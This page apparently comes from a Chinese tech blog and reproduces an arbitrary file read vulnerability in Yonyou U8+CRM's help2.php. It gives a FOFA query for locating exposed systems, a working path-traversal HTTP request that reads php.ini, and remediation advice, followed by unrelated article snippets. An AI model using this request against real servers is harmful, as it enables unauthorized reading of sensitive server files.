当前位置： 首页 > news >正文

用友U8+CRM help2 任意文件读取漏洞复现

news 2025/11/6 19:13:59

0x01 产品简介

用友U8 CRM客户关系管理系统是一款专业的企业级CRM软件，旨在帮助企业高效管理客户关系、提升销售业绩和提供优质的客户服务。

0x02 漏洞概述

用友 U8 CRM客户关系管理系统 help2接口处存在任意文件读取漏洞，攻击者通过漏洞可以获取到服务器敏感信息。

0x03 复现环境

FOFA：title="用友U8CRM"

0x04 漏洞复现

PoC

GET /pub/help2.php?key=/../../apache/php.ini HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close

0x05 修复建议

关闭互联网暴露面或接口设置访问权限

升级至安全版本

相关文章：

用友U8+CRM help2 任意文件读取漏洞复现

0x01 产品简介 用友U8 CRM客户关系管理系统是一款专业的企业级CRM软件，旨在帮助企业高效管理客户关系、提升销售业绩和提供优质的客户服务。 0x02 漏洞概述 用友 U8 CRM客户关系管理系统 help2接口处存在任意文件读取漏洞，攻击者通过漏洞可以获取到服…...

编程日记 2023/12/25 10:13:13

freeRTOS实时操作系统学习笔记

温馨提示：点击图片查看大图更清晰 —————————————————————————————↑↑↑上方资源下载后可获取xmind原文件。 1、freeRTOS移植和配置脑图 2、内核源码学习...

编程日记 2023/12/25 10:08:07

解决虚拟机卡顿、卡死、待机后不动的情况（真实有效

本人环境： VM workstation 17.5 ubuntu 22.04 虚拟机配置：4核 4g issue： 出现开机卡死不动运行一段时间，可能半小时不到，就页面卡死不动经常需要关机重启才解决，可能没有解决 1.配置虚拟化引擎 这一步我称…...

编程日记 2023/12/25 10:07:06

【MybatisPlus快速入门】(3)SpringBoot整合MybatisPlus 之 Lombok插件安装及MybatisPlus分页代码示例

目录 1.Lombok1.1 步骤1:添加lombok依赖 2.2 步骤2:安装Lombok的插件1.3 步骤3:模型类上添加注解2 分页功能2.1 步骤1:调用方法传入参数获取返回值2.2步骤2:设置分页拦截器2.3 步骤3:运行测试程序 之前我们已学习MyBatisPlus在代码示例与MyBatisPlus的简介，在这一节…...

编程日记 2023/12/25 10:05:04

SpaceDesk如何连接平板/PC（生产力副屏）

1、下载安装 分为安卓端和PC端，两个设备都需要安装对应的软件。 SpaceDesk官网 https://link.zhihu.com/?targethttp%3A//spacedesk.net/ 需要魔法上网。安装过程比较简单，无脑下一步即可。 我已经把安装包准备好了，如果不想自己找&#…...

编程日记 2023/12/25 10:03:01

61.SVN版本控制系统

SVN（Subversion）是一种集中式版本控制系统，它有一个中央仓库用于存储代码库的完整历史记录。相对于分布式版本控制系统（例如 Git），SVN 不支持本地仓库。 一、SVN 安装。 （1）在windo…...

编程日记 2023/12/25 9:59:59

操作系统 内存管理篇

一.程序的装入和链接 装入方式： 链接方式： 二.进程的内存映像 三.内存的分配 1.连续分配 分配方式： 2.不连续分配 分页：页面大小一致 引入快表（和 cache 处理思路一致） 升级到二级页表 分段：…...

编程日记 2023/12/25 9:54:53

深度学习中用来训练的train.py 探究学习2.0（ 数据预处理）

数据预处理 下列代码为train.py中常见的一些数据处理方法 train_transform transforms.Compose([transforms.Resize((224, 224)),transforms.RandomVerticalFlip(),# 随机旋转，-45度到45度之间随机选transforms.RandomRotation(45),# 从中心开始裁剪transforms.C…...

编程日记 2023/12/25 9:53:52

vscode debug c++代码

需要提前写好CMakeLists.txt 在tasks.json中写好编译的步骤，即tasks，如cmake … 和make -j 在lauch.json中配置可执行文件的路径和需要执行tasks中的哪一个任务 具体步骤： 1.写好c代码和CMakeLists.txt 2.配置tasks.json 终端–>配置任务…...

编程日记 2023/12/25 9:50:48

HarmonyOS的功能及场景应用

一、基本介绍 鸿蒙HarmonyOS主要应用的设备包括智慧屏、平板、手表、智能音箱、IoT设备等。具体来说，鸿蒙系统是一款面向全场景(移动办公、运动健康、社交通信、媒体娱乐等)的分布式操作系统，能够支持手机、平板、智能穿戴、智慧屏、车机等多种终端设备…...

编程日记 2023/12/25 9:49:47

汽车级EEPROM 存储器 M24C64-DRMN3TP/K是电可擦除可编程只读存储器?它的功能特性有哪些?

M24C64-DRMN3TP/K是一款64 Kbit串行EEPROM汽车级设备，工作温度高达125C。符合汽车标准AEC-Q100 1级规定的极高可靠性。 该设备可通过一个高达1MHz的简单串行I2C兼容接口访问。 存储器阵列基于先进的真EEPROM技术（电可擦除可编程存储器）。M2…...

编程日记 2023/12/25 9:46:44

VS Code无法远程ubuntu

①windows下cmd中执行命令： ssh-keygen -t rsa -C "xxxxxx.com" ②ubuntu 下bash 命令 ssh-keygen -t rsa -C "xxxxxx.com" ③cat id_rsa.pub >> ~/.ssh/authorized_keys ④ C:\Users\Administrator\AppData\Roaming\Code\User\set…...

编程日记 2023/12/25 9:43:41

大数据开发职业规划

大数据开发职业规划 我的学历是双非本，在学校学习的是大数据专业，目前是在企业做大数据全栈的工作，爬虫，数仓，风控项目，etl开发都做 .................................................................…...

编程日记 2023/12/25 9:42:40

XxIJob入门-示例

一、部署 xxlJob (一) 下载地址， git clone 到本地。 http://gitee.com/xuxueli0323/xxl-job https://github.com/xuxueli/xxl-job (二) 插入 xxl_job 的sql脚本： 在项目的 /xxl-job/doc/db/tables_xxl_job.sql ，找到sql脚本&#xff0c…...

编程日记 2023/12/25 9:41:39

单挑力扣（LeetCode）SQL题：1549. 每件商品的最新订单（难度：中等）

相信很多学习SQL的小伙伴都面临这样的困境，学习完书本上的SQL基础知识后，一方面想测试下自己的水平；另一方面想进一步提升，却不知道方法。 其实，对于技能型知识，我的观点一贯都是：多练习、多实…...

编程日记 2023/12/25 9:40:38

Javacv-利用Netty实现推流直播复用（flv）

前言 上一篇文章《JavaCV之rtmp推流（FLV和M3U8）》介绍了javacv的基本使用，今天来讲讲如何实现推流复用。 以监控摄像头的直播为例，通常分为三步： 从设备获取音视频流利用javacv进行解码（例如flv或m3u8&am…...

编程日记 2023/12/25 9:38:35

cfa一级考生复习经验分享系列（十一）

理工科已经毕业，正在工作，毫无金融背景。一共准备了四个月，每天下班和周末抽时间看看。前三个月节奏比较松散，毕竟时不时有人叫我出去high，最后一个月认真看了看。 用到的资料 JC网课，官方Mock，…...

编程日记 2023/12/25 9:36:34

Nginx基本配置内容

http 模块适用于处理 Web 请求，而 stream 模块适用于处理非 HTTP 流量，如数据库连接、邮件传输等。 在 stream 模块中，你可以配置一些 TCP 或 UDP 的代理服务，以便 Nginx 能够转发这些流量。 与网站相关的 关于网站相关的要写在ht…...

编程日记 2023/12/25 9:35:31

Jenkins安装与设置(插件安装失败，版本问题解决）

早期的使用docker安装jenkins的方法会出现插件无法安装的问题，是由于docker拉取的jenkins版本太低了 jdk安装 Linux系统安装JDK1.8 详细流程 maven安装： centos7下安装Maven 使用docker进行安装jenkins： 先把镜像和容器卸干净 docker ps -a…...

编程日记 2023/12/25 9:32:28

精度提升10个点！HD-Painter:无需训练的文本引导高分辨率图像修复方案！

基于文本到图像扩散模型的空前成功，在文本引导的图像修复方面取得了最新进展，取得了异常逼真和视觉上可靠的结果。然而，目前的文本到图像修复模型仍然存在显著的改进潜力，特别是在更好地与用户提示对齐和执行高分辨率修复方面。因…...

编程日记 2023/12/25 9:28:24

HTML 语义化

目录 HTML 语义化HTML5 新特性HTML 语义化的好处语义化标签的使用场景最佳实践 HTML 语义化 HTML5 新特性 标准答案&#xff1a; 语义化标签&#xff1a; <header>&#xff1a;页头<nav>&#xff1a;导航<main>&#xff1a;主要内容<article>&#x…...

编程新知 2025/10/27 5:01:21

进程地址空间（比特课总结）

一、进程地址空间 1. 环境变量 1 &#xff09;⽤户级环境变量与系统级环境变量 全局属性&#xff1a;环境变量具有全局属性&#xff0c;会被⼦进程继承。例如当bash启动⼦进程时&#xff0c;环 境变量会⾃动传递给⼦进程。 本地变量限制&#xff1a;本地变量只在当前进程(ba…...

编程新知 2025/7/9 17:20:48

Golang 面试经典题：map 的 key 可以是什么类型？哪些不可以？

Golang 面试经典题&#xff1a;map 的 key 可以是什么类型&#xff1f;哪些不可以&#xff1f; 在 Golang 的面试中&#xff0c;map 类型的使用是一个常见的考点&#xff0c;其中对 key 类型的合法性 是一道常被提及的基础却很容易被忽视的问题。本文将带你深入理解 Golang 中…...

编程新知 2025/9/23 20:53:38

以下是对华为 HarmonyOS NETX 5属性动画（ArkTS）文档的结构化整理，通过层级标题、表格和代码块提升可读性：

一、属性动画概述NETX 作用&#xff1a;实现组件通用属性的渐变过渡效果&#xff0c;提升用户体验。支持属性&#xff1a;width、height、backgroundColor、opacity、scale、rotate、translate等。注意事项&#xff1a; 布局类属性&#xff08;如宽高&#xff09;变化时&#…...

编程新知 2025/11/5 3:45:16

可靠性+灵活性：电力载波技术在楼宇自控中的核心价值

可靠性灵活性&#xff1a;电力载波技术在楼宇自控中的核心价值 在智能楼宇的自动化控制中&#xff0c;电力载波技术&#xff08;PLC&#xff09;凭借其独特的优势&#xff0c;正成为构建高效、稳定、灵活系统的核心解决方案。它利用现有电力线路传输数据&#xff0c;无需额外布…...

编程新知 2025/9/27 2:43:26

【算法训练营Day07】字符串part1

文章目录 反转字符串反转字符串II替换数字 反转字符串 题目链接&#xff1a;344. 反转字符串 双指针法&#xff0c;两个指针的元素直接调转即可 class Solution {public void reverseString(char[] s) {int head 0;int end s.length - 1;while(head < end) {char temp …...

编程新知 2025/8/27 14:38:58

全志A40i android7.1 调试信息打印串口由uart0改为uart3

一&#xff0c;概述 1. 目的 将调试信息打印串口由uart0改为uart3。 2. 版本信息 Uboot版本&#xff1a;2014.07&#xff1b; Kernel版本&#xff1a;Linux-3.10&#xff1b; 二&#xff0c;Uboot 1. sys_config.fex改动 使能uart3(TX:PH00 RX:PH01)&#xff0c;并让boo…...

编程新知 2025/11/1 15:05:34

什么是Ansible Jinja2

理解 Ansible Jinja2 模板 Ansible 是一款功能强大的开源自动化工具&#xff0c;可让您无缝地管理和配置系统。Ansible 的一大亮点是它使用 Jinja2 模板&#xff0c;允许您根据变量数据动态生成文件、配置设置和脚本。本文将向您介绍 Ansible 中的 Jinja2 模板&#xff0c;并通…...

编程新知 2025/11/2 3:43:40

初学 pytest 记录

安装 pip install pytest用例可以是函数也可以是类中的方法 def test_func():print()class TestAdd: # def __init__(self): 在 pytest 中不可以使用__init__方法 # self.cc 12345 pytest.mark.api def test_str(self):res add(1, 2)assert res 12def test_int(self):r…...

编程新知 2025/11/2 6:24:51

人机融合智能 | “人智交互”跨学科新领域

本文系统地提出基于“以人为中心AI(HCAI)”理念的人-人工智能交互(人智交互)这一跨学科新领域及框架,定义人智交互领域的理念、基本理论和关键问题、方法、开发流程和参与团队等,阐述提出人智交互新领域的意义。然后,提出人智交互研究的三种新范式取向以及它们的意义。最后,总结…...

编程新知 2025/10/27 6:30:35